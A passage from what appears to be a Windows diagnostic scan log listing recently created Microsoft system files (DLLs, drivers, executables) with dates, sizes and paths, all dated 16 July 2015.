2015-07-16 12:00 - 2015-04-13 18:34 - 00180224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\authz.dll

2015-07-16 11:55 - 2015-07-01 18:08 - 05923840 _____ (Microsoft Corporation) C:\WINDOWS\system32\jscript9.dll

2015-07-16 11:55 - 2015-07-01 17:14 - 04520448 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\jscript9.dll

2015-07-16 11:51 - 2015-02-03 19:58 - 00264000 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\WdFilter.sys

2015-07-16 11:51 - 2015-02-03 19:58 - 00114496 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\WdNisDrv.sys

2015-07-16 11:51 - 2015-02-03 19:58 - 00044024 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\WdBoot.sys

2015-07-16 11:51 - 2015-02-02 19:53 - 00014848 _____ (Microsoft Corporation) C:\WINDOWS\system32\winshfhc.dll

2015-07-16 11:51 - 2015-02-02 19:53 - 00012800 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\winshfhc.dll

2015-07-16 11:51 - 2014-11-09 22:29 - 00034304 _____ (Microsoft Corporation) C:\WINDOWS\system32\DeviceSetupStatusProvider.dll

2015-07-16 11:51 - 2014-11-09 21:51 - 00028672 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DeviceSetupStatusProvider.dll

2015-07-16 11:50 - 2015-07-09 15:51 - 00136904 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuauclt.exe

2015-07-16 11:50 - 2015-07-09 14:40 - 00359936 _____ (Microsoft Corporation) C:\WINDOWS\system32\WinSetupUI.dll

2015-07-16 11:50 - 2015-07-09 12:03 - 03701760 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaueng.dll

2015-07-16 11:50 - 2015-07-09 11:54 - 00035840 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuapp.exe

2015-07-16 11:50 - 2015-07-09 11:53 - 00140288 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuwebv.dll

2015-07-16 11:50 - 2015-07-09 11:50 - 00409088 _____ (Microsoft Corporation) C:\WINDOWS\system32\WUSettingsProvider.dll

2015-07-16 11:50 - 2015-07-09 11:50 - 00095744 _____ (Microsoft Corporation) C:\WINDOWS\system32\wudriver.dll

2015-07-16 11:50 - 2015-07-09 11:48 - 00891904 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuapi.dll

2015-07-16 11:50 - 2015-07-09 11:46 - 02229248 _____ (Microsoft Corporation) C:\WINDOWS\system32\wucltux.dll

2015-07-16 11:50 - 2015-07-09 11:38 - 00029696 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wuapp.exe

2015-07-16 11:50 - 2015-07-09 11:37 - 00124928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wuwebv.dll

2015-07-16 11:50 - 2015-07-09 11:35 - 00081920 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wudriver.dll

2015-07-16 11:50 - 2015-07-09 11:34 - 00721920 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wuapi.dll

2015-07-16 11:50 - 2015-06-26 23:08 - 00066048 _____ (Microsoft Corporation) C:\WINDOWS\system32\wups.dll

2015-07-16 11:50 - 2015-06-26 23:08 - 00052224 _____ (Microsoft Corporation) C:\WINDOWS\system32\wups2.dll

2015-07-16 11:50 - 2015-06-26 22:14 - 00027136 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wups.dll

2015-07-16 11:42 - 2015-05-07 13:50 - 22292672 _____ (Microsoft Corporation) C:\WINDOWS\system32\shell32.dll

2015-07-16 11:42 - 2015-05-07 13:00 - 03109376 _____ (Microsoft Corporation) C:\WINDOWS\system32\ExplorerFrame.dll

2015-07-16 11:42 - 2015-05-07 12:53 - 19734960 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\shell32.dll

2015-07-16 11:42 - 2015-05-07 12:12 - 02706432 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ExplorerFrame.dll

2015-07-16 11:42 - 2015-03-14 04:20 - 01385256 _____ (Microsoft Corporation) C:\WINDOWS\system32\msctf.dll

2015-07-16 11:42 - 2015-03-14 04:13 - 01124352 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msctf.dll

2015-07-16 11:42 - 2014-12-08 23:45 - 00393728 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\scesrv.dll

2015-07-16 11:42 - 2014-12-08 21:56 - 00538624 _____ (Microsoft Corporation) C:\WINDOWS\system32\scesrv.dll

2015-07-16 11:36 - 2015-04-24 22:34 - 00653824 _____ (Microsoft Corporation) C:\WINDOWS\system32\comctl32.dll

2015-07-16 11:36 - 2015-04-24 22:33 - 00549888 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\comctl32.dll

2015-07-16 11:36 - 2015-04-09 21:00 - 01996800 _____ (Microsoft Corporation) C:\WINDOWS\system32\DWrite.dll

2015-07-16 11:36 - 2015-04-09 20:50 - 01387008 _____ (Microsoft Corporation) C:\WINDOWS\system32\FntCache.dll

2015-07-16 11:36 - 2015-04-09 20:26 - 01560576 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\DWrite.dll

2015-07-16 11:35 - 2015-03-23 17:59 - 07476032 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntoskrnl.exe

2015-07-16 11:35 - 2015-03-23 17:59 - 01733952 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntdll.dll

2015-07-16 11:35 - 2015-03-23 17:59 - 00360480 _____ (Microsoft Corporation) C:\WINDOWS\system32\sechost.dll

2015-07-16 11:35 - 2015-03-23 17:58 - 01498872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntdll.dll

2015-07-16 11:35 - 2015-03-23 17:45 - 00257216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\sechost.dll

2015-07-16 11:35 - 2015-03-20 00:12 - 00246272 _____ (Microsoft Corporation) C:\WINDOWS\system32\microsoft-windows-system-events.dll

2015-07-16 11:35 - 2015-03-20 00:10 - 00285184 _____ (Microsoft Corporation) C:\WINDOWS\system32\wow64.dll

2015-07-16 11:35 - 2015-03-20 00:10 - 00013312 _____ (Microsoft Corporation) C:\WINDOWS\system32\wow64cpu.dll

2015-07-16 11:35 - 2015-03-19 23:17 - 00411648 _____ (Microsoft Corporation) C:\WINDOWS\system32\tracerpt.exe

2015-07-16 11:35 - 2015-03-19 22:41 - 00369152 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tracerpt.exe

2015-07-16 11:35 - 2015-03-19 22:40 - 00950784 _____ (Microsoft Corporation) C:\WINDOWS\system32\tdh.dll

2015-07-16 11:35 - 2015-03-19 22:16 - 00749568 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tdh.dll

2015-07-16 11:35 - 2014-10-28 21:57 - 00016896 _____ (Microsoft Corporation) C:\WINDOWS\system32\ntvdm64.dll

2015-07-16 11:35 - 2014-10-28 21:15 - 00014336 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ntvdm64.dll

2015-07-16 11:35 - 2014-10-28 21:15 - 00005632 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wow32.dll

2015-07-16 11:35 - 2014-10-28 21:14 - 00004096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\user.exe

2015-07-16 11:35 - 2014-10-28 21:13 - 00025600 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\setup16.exe

2015-07-16 11:35 - 2014-10-28 21:13 - 00008704 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\instnm.exe

2015-07-16 11:34 - 2015-02-02 20:03 - 03551744 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\D3DCompiler_47.dll

2015-07-16 11:34 - 2015-02-02 20:02 - 04298240 _____ (Microsoft Corporation) C:\WINDOWS\system32\D3DCompiler_47.dll

2015-07-16 11:34 - 2015-01-29 22:03 - 01488896 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfc42u.dll

2015-07-16 11:34 - 2015-01-29 22:03 - 01464832 _____ (Microsoft Corporation) C:\WINDOWS\system32\mfc42.dll

2015-07-16 11:34 - 2015-01-29 21:44 - 01230336 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfc42u.dll

2015-07-16 11:34 - 2015-01-29 21:42 - 01204224 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mfc42.dll

2015-07-16 11:34 - 2014-06-09 18:13 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\TsWpfWrp.exe

2015-07-16 11:34 - 2014-06-09 18:13 - 00035480 _____ (Microsoft Corporation) C:\WINDOWS\system32\TsWpfWrp.exe

2015-07-16 11:33 - 2015-05-03 11:09 - 00274944 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.ApplicationModel.Store.TestingFramework.dll

2015-07-16 11:33 - 2015-05-03 10:58 - 00210944 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.ApplicationModel.Store.TestingFramework.dll

2015-07-16 11:33 - 2015-05-03 10:55 - 00971776 _____ (Microsoft Corporation) C:\WINDOWS\system32\WSShared.dll

2015-07-16 11:33 - 2015-05-03 10:49 - 00811008 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WSShared.dll

2015-07-16 11:33 - 2015-03-05 22:47 - 01696256 _____ (Microsoft Corporation) C:\WINDOWS\system32\wevtsvc.dll

2015-07-16 11:33 - 2015-02-17 19:19 - 00186368 _____ (Microsoft Corporation) C:\WINDOWS\system32\dpapisrv.dll

2015-07-16 11:33 - 2015-01-27 22:24 - 00075264 _____ (Microsoft Corporation) C:\WINDOWS\system32\StorageContextHandler.dll

2015-07-16 11:33 - 2015-01-27 21:47 - 00060928 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\StorageContextHandler.dll

2015-07-16 11:17 - 2015-01-30 19:20 - 00203264 _____ (Microsoft Corporation) C:\WINDOWS\system32\ubpm.dll

2015-07-16 11:17 - 2015-01-27 00:22 - 00131584 _____ (Microsoft Corporation) C:\WINDOWS\system32\rdpudd.dll

2015-07-16 11:17 - 2015-01-26 22:11 - 03547648 _____ (Microsoft Corporation) C:\WINDOWS\system32\rdpcorets.dll

2015-07-16 11:16 - 2015-03-13 21:51 - 00015360 _____ (Microsoft Corporation) C:\WINDOWS\system32\wu.upgrade.ps.dll

2015-07-16 11:16 - 2015-03-13 20:09 - 00200192 _____ (Microsoft Corporation) C:\WINDOWS\system32\storewuauth.dll

2015-07-16 11:16 - 2014-10-18 02:50 - 00017408 _____ (Microsoft Corporation) C:\WINDOWS\system32\wuaext.dll

2015-07-16 11:16 - 2014-07-23 23:20 - 00875688 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msvcr120_clr0400.dll

2015-07-16 11:16 - 2014-07-23 23:20 - 00869544 _____ (Microsoft Corporation) C:\WINDOWS\system32\msvcr120_clr0400.dll

2015-07-16 11:15 - 2015-05-11 12:34 - 00332800 _____ (Microsoft Corporation) C:\WINDOWS\system32\fhcpl.dll

2015-07-16 11:15 - 2015-05-07 12:47 - 00564224 _____ (Microsoft Corporation) C:\WINDOWS\system32\apphelp.dll

2015-07-16 11:15 - 2015-03-10 21:49 - 00024576 _____ (Microsoft Corporation) C:\WINDOWS\system32\sdbinst.exe

2015-07-16 11:15 - 2015-03-10 21:09 - 00021504 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\sdbinst.exe

2015-07-16 11:14 - 2015-05-12 09:19 - 00294912 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemEventsBrokerServer.dll

2015-07-16 11:14 - 2015-05-03 11:07 - 07784448 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.Data.Pdf.dll

2015-07-16 11:14 - 2015-05-03 10:57 - 05264384 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.Data.Pdf.dll

2015-07-16 11:14 - 2015-05-01 19:33 - 00410739 _____ C:\WINDOWS\system32\ApnDatabase.xml

2015-07-16 11:10 - 2015-04-29 19:22 - 00130048 _____ (Microsoft Corporation) C:\WINDOWS\system32\WiFiDisplay.dll

2015-07-16 11:10 - 2015-01-26 23:44 - 00933888 _____ (Microsoft Corporation) C:\WINDOWS\system32\calc.exe

2015-07-16 11:10 - 2015-01-23 21:51 - 00816128 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\calc.exe

2015-07-16 11:09 - 2014-10-30 19:39 - 01970432 _____ (Microsoft Corporation) C:\WINDOWS\system32\crypt32.dll

2015-07-16 11:09 - 2014-10-30 19:38 - 01612992 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\crypt32.dll

2015-07-16 11:03 - 2015-03-17 13:26 - 00467776 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\USBHUB3.SYS

2015-07-16 10:57 - 2015-06-24 22:31 - 04177920 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32k.sys

2015-07-16 10:57 - 2015-06-15 18:41 - 00065024 _____ (Microsoft Corporation) C:\WINDOWS\system32\msiexec.exe

2015-07-16 10:57 - 2015-06-15 18:24 - 03320320 _____ (Microsoft Corporation) C:\WINDOWS\system32\msi.dll

2015-07-16 10:57 - 2015-06-15 17:16 - 00059904 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msiexec.exe

2015-07-16 10:57 - 2015-06-15 17:09 - 03607552 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msi.dll

2015-07-16 10:57 - 2015-06-15 16:50 - 02774528 _____ (Microsoft Corporation) C:\WINDOWS\system32\authui.dll

2015-07-16 10:57 - 2015-06-15 15:57 - 02460160 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\authui.dll

2015-07-16 10:57 - 2015-01-23 03:17 - 00723072 _____ (Microsoft Corporation) C:\WINDOWS\system32\SHCore.dll

2015-07-16 10:57 - 2015-01-23 01:02 - 00560392 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SHCore.dll

2015-07-16 10:54 - 2015-01-28 21:58 - 00347136 _____ (Microsoft Corporation) C:\WINDOWS\system32\photowiz.dll

2015-07-16 10:54 - 2015-01-28 21:29 - 00290816 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\photowiz.dll

2015-07-16 10:50 - 2015-04-30 19:05 - 00429568 _____ (Microsoft Corporation) C:\WINDOWS\system32\schannel.dll

2015-07-16 10:50 - 2015-04-30 18:48 - 00358912 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\schannel.dll

2015-07-16 10:37 - 2015-03-19 21:56 - 00080384 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ahcache.sys

2015-07-16 10:36 - 2015-03-19 23:49 - 00309760 _____ (Microsoft Corporation) C:\WINDOWS\system32\compstui.dll

2015-07-16 10:36 - 2015-03-19 23:08 - 00477184 _____ (Microsoft Corporation) C:\WINDOWS\system32\puiobj.dll

2015-07-16 10:36 - 2015-03-19 22:37 - 00367104 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\puiobj.dll

2015-07-16 10:36 - 2015-03-19 22:07 - 01091072 _____ (Microsoft Corporation) C:\WINDOWS\system32\localspl.dll

2015-07-16 10:36 - 2015-01-28 21:04 - 00864256 _____ (Microsoft Corporation) C:\WINDOWS\system32\win32spl.dll

2015-07-16 10:31 - 2015-03-03 21:32 - 00172544 _____ (Microsoft Corporation) C:\WINDOWS\system32\Windows.UI.Input.Inking.dll

2015-07-16 10:31 - 2015-03-03 21:12 - 00141824 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\Windows.UI.Input.Inking.dll

2015-07-16 10:30 - 2015-03-01 21:43 - 00222208 _____ (Microsoft Corporation) C:\WINDOWS\system32\rastapi.dll

2015-07-16 10:30 - 2015-03-01 21:21 - 00207872 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rastapi.dll

2015-07-16 10:30 - 2015-01-29 20:53 - 02819584 _____ (Microsoft Corporation) C:\WINDOWS\system32\SettingsHandlers.dll

2015-07-16 10:30 - 2014-11-14 02:58 - 00116736 _____ (Microsoft Corporation) C:\WINDOWS\system32\SystemSettingsDatabase.dll

2015-07-16 10:16 - 2015-04-01 18:22 - 02985984 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dbgeng.dll

2015-07-16 10:16 - 2015-04-01 18:20 - 04417536 _____ (Microsoft Corporation) C:\WINDOWS\system32\dbgeng.dll

2015-07-16 10:16 - 2015-03-31 23:45 - 01491456 _____ (Microsoft Corporation) C:\WINDOWS\system32\dbghelp.dll

2015-07-16 10:16 - 2015-03-31 22:31 - 01207296 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\dbghelp.dll

2015-07-16 10:16 - 2015-03-12 21:11 - 02162176 _____ (Microsoft Corporation) C:\WINDOWS\system32\SRH.dll

2015-07-16 10:16 - 2015-03-12 20:39 - 01812992 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SRH.dll

2015-07-16 10:16 - 2015-02-05 16:24 - 01113920 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ndis.sys

2015-07-16 10:16 - 2015-01-29 23:01 - 00097792 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\hidbth.sys

2015-07-16 10:16 - 2015-01-29 22:02 - 00102912 _____ (Microsoft Corporation) C:\WINDOWS\system32\eappgnui.dll

2015-07-16 10:16 - 2015-01-29 21:40 - 00091648 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\eappgnui.dll

2015-07-16 10:16 - 2015-01-29 21:37 - 00331776 _____ (Microsoft Corporation) C:\WINDOWS\system32\eapp3hst.dll

2015-07-16 10:16 - 2015-01-29 21:29 - 00035840 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\atlthunk.dll

2015-07-16 10:16 - 2015-01-29 21:24 - 00339456 _____ (Microsoft Corporation) C:\WINDOWS\system32\eapphost.dll

2015-07-16 10:16 - 2015-01-29 21:24 - 00250880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\eapp3hst.dll

2015-07-16 10:16 - 2015-01-29 21:16 - 00266752 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\eapphost.dll

2015-07-16 10:16 - 2015-01-29 21:08 - 00346112 _____ (Microsoft Corporation) C:\WINDOWS\system32\eappcfg.dll

2015-07-16 10:16 - 2015-01-29 21:06 - 00278016 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\eappcfg.dll

2015-07-16 10:16 - 2014-12-11 22:04 - 00087040 _____ (Microsoft Corporation) C:\WINDOWS\system32\TSWbPrxy.exe

2015-07-16 10:16 - 2014-12-05 23:17 - 00360448 _____ (Microsoft Corporation) C:\WINDOWS\system32\ncsi.dll

2015-07-16 10:16 - 2014-12-05 21:41 - 00391680 _____ (Microsoft Corporation) C:\WINDOWS\system32\nlasvc.dll

2015-07-16 10:14 - 2015-03-12 22:02 - 00316416 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\udfs.sys

2015-07-16 10:14 - 2014-11-04 15:25 - 00059712 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\kbdclass.sys

2015-07-16 10:14 - 2014-11-04 15:25 - 00051008 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mouclass.sys

2015-07-16 10:14 - 2014-11-04 02:55 - 00026112 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\sermouse.sys

2015-07-16 10:14 - 2014-11-04 02:54 - 00108544 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\i8042prt.sys

2015-07-16 10:14 - 2014-11-04 02:54 - 00032256 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\kbdhid.sys

2015-07-16 10:14 - 2014-11-04 02:54 - 00030208 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mouhid.sys

2015-07-16 10:13 - 2015-04-08 18:41 - 00158720 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rgb9rast.dll

2015-07-16 10:13 - 2015-04-02 20:35 - 00445440 _____ (Microsoft Corporation) C:\WINDOWS\system32\PhotoMetadataHandler.dll

2015-07-16 10:13 - 2015-04-02 20:14 - 00364544 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\PhotoMetadataHandler.dll

2015-07-16 10:10 - 2015-06-29 18:43 - 00026288 _____ (Microsoft Corporation) C:\WINDOWS\system32\CompatTelRunner.exe

2015-07-16 10:10 - 2015-06-29 11:07 - 01145856 _____ (Microsoft Corporation) C:\WINDOWS\system32\aeinv.dll

2015-07-16 10:10 - 2015-06-29 11:07 - 01084928 _____ (Microsoft Corporation) C:\WINDOWS\system32\appraiser.dll

2015-07-16 10:10 - 2015-06-29 11:07 - 00764928 _____ (Microsoft Corporation) C:\WINDOWS\system32\invagent.dll

2015-07-16 10:10 - 2015-06-29 11:07 - 00433152 _____ (Microsoft Corporation) C:\WINDOWS\system32\devinv.dll

2015-07-16 10:10 - 2015-06-29 11:07 - 00067584 _____ (Microsoft Corporation) C:\WINDOWS\system32\acmigration.dll

2015-07-16 10:10 - 2015-06-26 19:21 - 00726528 _____ (Microsoft Corporation) C:\WINDOWS\system32\generaltel.dll

2015-07-16 10:10 - 2015-06-26 19:21 - 00227328 _____ (Microsoft Corporation) C:\WINDOWS\system32\aepdu.dll

2015-07-16 10:10 - 2015-05-21 09:08 - 00193536 _____ (Microsoft Corporation) C:\WINDOWS\system32\aepic.dll

2015-07-16 10:09 - 2015-04-08 18:55 - 00410128 _____ (Microsoft Corporation) C:\WINDOWS\system32\services.exe

2015-07-16 10:09 - 2014-12-19 02:26 - 00140800 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxdav.sys

2015-07-16 10:08 - 2015-03-12 22:58 - 00259072 _____ (Microsoft Corporation) C:\WINDOWS\system32\pku2u.dll

2015-07-16 10:08 - 2015-03-12 22:37 - 00208896 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\pku2u.dll

2015-07-16 10:08 - 2015-01-19 14:42 - 01487976 _____ (Microsoft Corporation) C:\WINDOWS\system32\sppobjs.dll

2015-07-16 09:54 - 2015-04-09 20:40 - 01249280 _____ (Microsoft Corporation) C:\WINDOWS\system32\UIAutomationCore.dll

2015-07-16 09:54 - 2015-04-09 20:17 - 01018880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\UIAutomationCore.dll

2015-07-16 09:44 - 2015-04-16 02:17 - 00325464 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\USBXHCI.SYS

2015-07-16 09:37 - 2015-06-10 23:49 - 01380600 _____ (Microsoft Corporation) C:\WINDOWS\system32\gdi32.dll

2015-07-16 09:37 - 2015-06-10 12:13 - 01097216 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\gdi32.dll

2015-07-16 09:37 - 2015-04-01 00:21 - 00337408 _____ (Microsoft Corporation) C:\WINDOWS\system32\SearchProtocolHost.exe

2015-07-16 09:37 - 2015-04-01 00:18 - 00468480 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssph.dll

2015-07-16 09:37 - 2015-04-01 00:17 - 00248832 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssphtb.dll

2015-07-16 09:37 - 2015-04-01 00:08 - 00774144 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssvp.dll

2015-07-16 09:37 - 2015-03-31 23:46 - 03633664 _____ (Microsoft Corporation) C:\WINDOWS\system32\tquery.dll

2015-07-16 09:37 - 2015-03-31 23:17 - 02551808 _____ (Microsoft Corporation) C:\WINDOWS\system32\mssrch.dll

2015-07-16 09:37 - 2015-03-31 23:17 - 00903168 _____ (Microsoft Corporation) C:\WINDOWS\system32\SearchIndexer.exe

2015-07-16 09:37 - 2015-03-31 22:53 - 00391680 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mssph.dll

2015-07-16 09:37 - 2015-03-31 22:53 - 00272896 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SearchProtocolHost.exe

2015-07-16 09:37 - 2015-03-31 22:45 - 02749952 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\tquery.dll

2015-07-16 09:37 - 2015-03-31 22:45 - 00699392 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mssvp.dll

2015-07-16 09:37 - 2015-03-31 22:14 - 01920000 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\mssrch.dll

2015-07-16 09:37 - 2015-03-31 22:12 - 00710144 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\SearchIndexer.exe

2015-07-16 09:37 - 2015-02-24 04:32 - 00991552 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\http.sys

2015-07-16 09:37 - 2015-01-29 14:45 - 01763352 _____ (Microsoft Corporation) C:\WINDOWS\system32\WindowsCodecs.dll

2015-07-16 09:37 - 2015-01-29 14:34 - 01488040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WindowsCodecs.dll

2015-07-16 09:37 - 2014-12-11 01:36 - 00046456 _____ (Microsoft Corporation) C:\WINDOWS\system32\LockScreenContentServer.exe

2015-07-16 09:36 - 2015-06-16 01:36 - 01661576 _____ (Microsoft Corporation) C:\WINDOWS\system32\ole32.dll

2015-07-16 09:36 - 2015-06-16 01:36 - 01212248 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\ole32.dll

2015-07-16 09:36 - 2015-04-28 09:13 - 00513480 _____ C:\WINDOWS\SysWOW64\locale.nls

2015-07-16 09:36 - 2015-04-28 09:13 - 00513480 _____ C:\WINDOWS\system32\locale.nls

2015-07-16 09:36 - 2015-04-23 11:47 - 03084288 _____ (Microsoft Corporation) C:\WINDOWS\system32\msftedit.dll

2015-07-16 09:36 - 2015-04-23 11:16 - 02471424 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msftedit.dll

2015-07-16 09:36 - 2015-03-05 23:08 - 02067968 _____ (Microsoft Corporation) C:\WINDOWS\system32\wpdshext.dll

2015-07-16 09:36 - 2015-03-05 22:43 - 01969664 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\wpdshext.dll

2015-07-16 09:36 - 2015-03-04 06:25 - 00377152 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\clfs.sys

2015-07-16 09:36 - 2015-03-03 23:04 - 00075264 _____ (Microsoft Corporation) C:\WINDOWS\system32\clfsw32.dll

2015-07-16 09:36 - 2015-03-03 22:19 - 00058880 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\clfsw32.dll

2015-07-16 09:36 - 2015-02-07 19:57 - 01090048 _____ (Microsoft Corporation) C:\WINDOWS\system32\MrmCoreR.dll

2015-07-16 09:36 - 2015-02-07 19:49 - 00791040 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\MrmCoreR.dll

2015-07-16 09:36 - 2015-01-27 21:31 - 00402432 _____ (Microsoft Corporation) C:\WINDOWS\system32\WMPhoto.dll

2015-07-16 09:36 - 2015-01-27 21:11 - 00357376 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\WMPhoto.dll

2015-07-16 09:35 - 2015-01-27 19:47 - 02501368 _____ (Microsoft Corporation) C:\WINDOWS\explorer.exe

2015-07-16 09:35 - 2015-01-27 19:41 - 02207488 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\explorer.exe

2015-07-16 08:42 - 2015-06-28 01:07 - 00442712 _____ (Microsoft Corporation) C:\WINDOWS\system32\msv1_0.dll

2015-07-16 08:42 - 2015-06-28 01:07 - 00178008 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\ksecpkg.sys

2015-07-16 08:42 - 2015-06-28 01:06 - 01311960 _____ (Microsoft Corporation) C:\WINDOWS\system32\rpcrt4.dll

2015-07-16 08:42 - 2015-06-28 01:06 - 00332120 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\msv1_0.dll

2015-07-16 08:42 - 2015-06-27 12:42 - 00747520 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\rpcrt4.dll

2015-07-16 08:42 - 2015-06-26 23:13 - 00202240 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxsmb20.sys

2015-07-16 08:42 - 2015-06-26 23:12 - 00401408 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxsmb.sys

2015-07-16 08:42 - 2015-06-26 23:12 - 00284672 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\mrxsmb10.sys

2015-07-16 08:42 - 2015-06-26 22:40 - 00445440 _____ (Microsoft Corporation) C:\WINDOWS\system32\certcli.dll

2015-07-16 08:42 - 2015-06-26 22:05 - 01441792 _____ (Microsoft Corporation) C:\WINDOWS\system32\lsasrv.dll

2015-07-16 08:42 - 2015-06-26 22:00 - 00989184 _____ (Microsoft Corporation) C:\WINDOWS\system32\kerberos.dll

2015-07-16 08:42 - 2015-06-26 21:53 - 00324096 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\certcli.dll

2015-07-16 08:42 - 2015-06-26 21:26 - 00802816 _____ (Microsoft Corporation) C:\WINDOWS\SysWOW64\kerberos.dll

2015-07-16 08:42 - 2015-03-30 01:47 - 00561928 _____ (Microsoft Corporation) C:\WINDOWS\system32\Drivers\cng.sys

2015-07-16 08:41 - 2015-05-30 17:18 - 00037888 _____ (Microsoft Corporation) C:\WINDOWS\system32\werdiagcontroller.dll

2015-07-16 08:41 - 2015-05-30 15:36 - 00230400 _____ (Microsoft Corporation) C:\WINDOWS\system32\AudioEndpointBuilder.dll

2015-07-16 08:41 - 2015-05-30 15:35 - 00911360 _____ (Microsoft Corporation) C:\WINDOWS\system32\audiosrv.dll

